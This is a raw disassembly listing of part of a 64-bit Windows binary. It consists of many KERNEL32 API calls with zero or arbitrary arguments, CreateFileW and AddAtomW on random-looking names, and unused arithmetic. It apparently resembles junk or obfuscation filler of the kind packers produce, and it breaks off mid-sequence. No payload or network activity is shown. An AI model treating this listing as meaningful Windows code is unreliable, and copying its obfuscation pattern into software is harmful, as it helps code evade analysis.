mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd44], ax
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x4a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0xae60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x223]
sub eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1534]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x109c], ax
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0xbb20], rax
lea rcx, [rsp + 0x1ad08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [0x14022fb6c]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [0x14022fb94], ax
lea rdx, [rsp + 0xb098]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49b8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbb28], rax
mov rax, qword [rsp + 0x7920]
mov rcx, qword [rsp + 0xad48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
lea rdx, [rsp + 0xa778]
mov rcx, qword [rsp + 0xb938]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4940], eax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
mov qword [rsp + 0xbb30], rax
mov rax, qword [rsp + 0xa238]
mov ecx, dword [rsp + 0x4670]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4970], eax
mov rax, qword [rsp + 0xb588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2bd], al
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0xbb38], rax
movsx eax, byte [rsp + 0x29a]
movsx ecx, byte [rsp + 0x295]
or eax, ecx
mov rcx, qword [rsp + 0xade8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf60]
mov eax, dword [rax]
mov dword [rsp + 0x4fb8], eax
movzx ecx, word [rsp + 0x1570]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x159c], ax
movzx ecx, word [rsp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e4], ax
xor r9d, r9d
lea r8, [rsp + 0xb6e0]
mov rdx, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b5c], eax
movzx eax, word [rsp + 0x13a4]
mov rcx, qword [rsp + 0x9860]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x157c], ax
movzx eax, byte [rsp + 0x2a5]
mov rcx, qword [rsp + 0xaed8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14022133e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x1ad08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x10cc]
add eax, ecx
mov word [rsp + 0x8d4], ax
lea rcx, [rsp + 0x1a798]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x4e28]
mov ecx, dword [0x14024f350]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f10], eax
mov rax, qword [rsp + 0xac20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9548]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.d9c2LvZt3bjfco3ANT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb48], rax
mov rax, qword [rsp + 0x9de8]
mov rax, qword [rax]
mov qword [rsp + 0xbb50], rax
mov rcx, qword [rsp + 0xb0d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x27b]
mov rcx, qword [rsp + 0xb8c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xb460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4fbc], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ed4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c9c], eax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [0x14024f3bc]
mov rcx, qword [rsp + 0xa940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb1c], ax
mov rcx, qword [rsp + 0xb4f0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb9c], ax
lea rdx, [rsp + 0xbb58]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f9c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa5b8], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bd4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbb60], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb240], rax
mov r9d, 0x51e
xor r8d, r8d
lea rdx, [rsp + 0xa218]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e00], eax
movzx eax, byte [rsp + 0x2db]
mov byte [0x14024f048], al
lea rax, [rsp + 0x8868]
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb478]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x6cf
mov r9d, 0x632
mov r8d, 0x379a
mov edx, 0x452
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4fc0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xb7e0]
mov rax, qword [rax]
mov qword [rsp + 0xbb70], rax
lea rcx, [rsp + 0x21f60]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4d90], eax
lea rcx, [rsp + 0x96f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9a10]
mov ecx, dword [rsp + 0x4224]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c50], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbb78], rax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, [rsp + 0x1ad38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov edx, 0x224b
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0xa700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
and eax, ecx
mov word [rsp + 0x998], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.sWBT6NyvNjVzDh7O73SpVYKQw0F
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb80], rax
lea rax, [rsp + 0x4380]
mov qword [rsp + 0xbb88], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1b4], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0xb230]
movzx eax, byte [rax]
cdq
mov ecx, 0xaa
idiv ecx
mov byte [0x14022fb87], al
mov rax, qword [0x14022fb60]
movzx ecx, al
mov rax, qword [rsp + 0xa500]
shl rax, cl
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0xaa48]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3e24], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d14], eax
movzx eax, byte [rsp + 0x282]
mov byte [rsp + 0x2e9], al
lea rcx, str.dYbj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15a0], ax
movzx eax, word [0x14024f268]
mov rcx, qword [rsp + 0xb498]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb990]
mov word [rcx], ax
lea rcx, [rsp + 0xb540]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xbb98], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb708]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b6]
add eax, ecx
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0xb9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
add eax, ecx
mov word [rsp + 0xfe8], ax
lea rax, [rsp + 0xbb30]
mov qword [rsp + 0xbba0], rax
movzx eax, word [rsp + 0xfc4]
mov rcx, qword [rsp + 0xa6a0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb308]
mov word [rcx], ax
mov rax, qword [0x14024f228]
mov ecx, dword [rsp + 0x4290]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024f308]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0xb800]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x130], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0xa4f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x88e8], rax
lea rcx, str.OJXpFPhu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1560], ax
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0x80e0]
mov qword [rsp + 0xbba8], rax
mov rax, qword [rsp + 0xa1a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
add eax, ecx
mov byte [rsp + 0x223], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb788], rax
movzx ecx, word [rsp + 0x130c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0xaea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44ec], eax
mov rax, qword [rsp + 0xb438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x688], ax
mov rax, qword [0x14024f138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4880]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x143c]
mov word [rsp + 0x15a4], ax
lea rax, [rsp + 0x2ce]
mov qword [0x14024f040], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4fc4], eax
mov rcx, qword [rsp + 0xab70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0xb1d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80a0], rax
movzx ecx, word [rsp + 0x13dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11fc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.mL9yB1i21wJr2oW4TKX05y8PWwyYSA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbbb0], rax
mov rax, qword [rsp + 0xaec0]
mov rcx, qword [rsp + 0xbb50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8508], rax
movzx ecx, word [rsp + 0x117c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1314], ax
lea rax, [rsp + 0x2e6]
mov qword [rsp + 0xbbb8], rax
mov rcx, qword [rsp + 0x9d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa220], rax
mov rax, qword [rsp + 0xb3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1084]
or eax, ecx
mov word [rsp + 0x898], ax
lea rcx, str.A7_ZAn46Kv_t
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15a8], ax
lea rax, [rsp + 0xe1]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0x8850]
mov rcx, qword [rsp + 0x9708]
mov qword [rsp + 0xbbc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbc8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9f00], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x21f60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4934], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xaea8]
mov rcx, qword [rsp + 0xb2e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d74], eax
lea rax, [rsp + 0x9b8]
mov qword [rsp + 0xbbd0], rax
mov rax, qword [rsp + 0xb288]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb9b0]
mov qword [rsp + 0xbbd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbd8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14022fbc0], eax
mov rax, qword [rsp + 0xa238]
mov ecx, dword [0x14022fba8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4750], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0xbbe0], rax
mov r9d, 2
lea r8, [rsp + 0xaf90]
mov rdx, qword [rsp + 0x9740]
mov rcx, qword [rsp + 0x9958]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a9c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e7]
sub eax, ecx
mov byte [rsp + 0x2d4], al
mov edx, 0x19bd
mov rcx, qword [rsp + 0xa1e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4fc8], eax
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14a8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rcx, qword [rsp + 0xab68]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1ad68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f54], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.YV1xdvVcRVh5qm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbbe8], rax
lea rcx, [rsp + 0x1ac78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov dword [rsp + 0x20], 0x1193
mov r9d, 0xc9
mov r8d, 0x3ecc
mov edx, 0x2636
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4200], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x124]
mov qword [rsp + 0xbbf0], rax
movzx ecx, word [rsp + 0x1370]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x145c], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e34], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x9a0]
movsx ecx, word [rsp + 0xf48]
and eax, ecx
mov word [rsp + 0x12a4], ax
lea rdx, [rsp + 0xa5d0]
mov rcx, qword [rsp + 0xaef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
mov dword [rsp + 0x4fcc], eax
mov dword [rsp + 0x20], 0x81e
mov r9d, 0x2155
mov r8d, 0x3d25
mov edx, 0x3997
mov rcx, qword [rsp + 0xafe0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4fd0], eax
movzx eax, word [rsp + 0x1438]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a6]
movzx ecx, byte [rsp + 0x290]
sub eax, ecx
mov rcx, qword [0x14024f0a8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f40], rax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbbf8], rax
lea rcx, str.CFbdif_33kbE3.Q2PVAH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x149c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x9888]
mov qword [rsp + 0xbc00], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab50], rax
mov r9d, 1
lea r8, [rsp + 0xa408]
mov rdx, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0xb110]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4fd4], eax
mov rcx, qword [rsp + 0xb178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ee8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0xb0f
mov r8d, 0x22c6
mov edx, 0xad
mov rcx, qword [rsp + 0xa6c8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4fd8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0xbc08]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0x8898]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa3a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x7db8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7cb8], rax
movzx ecx, word [rsp + 0xfd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1424], ax
mov edx, 0x1915
mov rcx, qword [rsp + 0xa718]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4fdc], eax
movzx ecx, word [rsp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x128c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0x289]
mov qword [rsp + 0xbc10], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x21660]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0xaad0]
mov rcx, qword [rsp + 0x8238]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0x9e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x423c], eax
mov rcx, qword [rsp + 0x9a98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f0]
shl eax, cl
mov word [rsp + 0x984], ax
movzx ecx, word [rsp + 0x1034]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1440], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.lhMNso45p
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbc18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x1294]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
movsx eax, byte [rsp + 0x294]
mov rcx, qword [rsp + 0xba00]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0xaee0]
mov eax, dword [rax]
mov dword [0x14024f038], eax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xbc20], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1420], ax
mov eax, dword [rsp + 0x4880]
mov rcx, qword [rsp + 0xad30]
mov qword [rsp + 0xbc28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4dd0], eax
movzx eax, word [rsp + 0x13e4]
mov word [rsp + 0x15ac], ax
mov rax, qword [0x14024f060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1d7], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbc30], rax
movzx ecx, word [rsp + 0x12d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1304], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movsx eax, word [rsp + 0x12b4]
movsx ecx, word [rsp + 0x13f4]
and eax, ecx
mov rcx, qword [rsp + 0xa208]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbc38], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x9e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f48], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.cIwRUn2_b0sI4t23fXR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbc40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0xb860]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x28a]
sub eax, ecx
mov rcx, qword [rsp + 0x9e50]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1d0]
mov rax, qword [rax]
mov qword [rsp + 0xbc48], rax
mov r9d, 2
lea r8, [rsp + 0xb690]
mov rdx, qword [rsp + 0xb520]
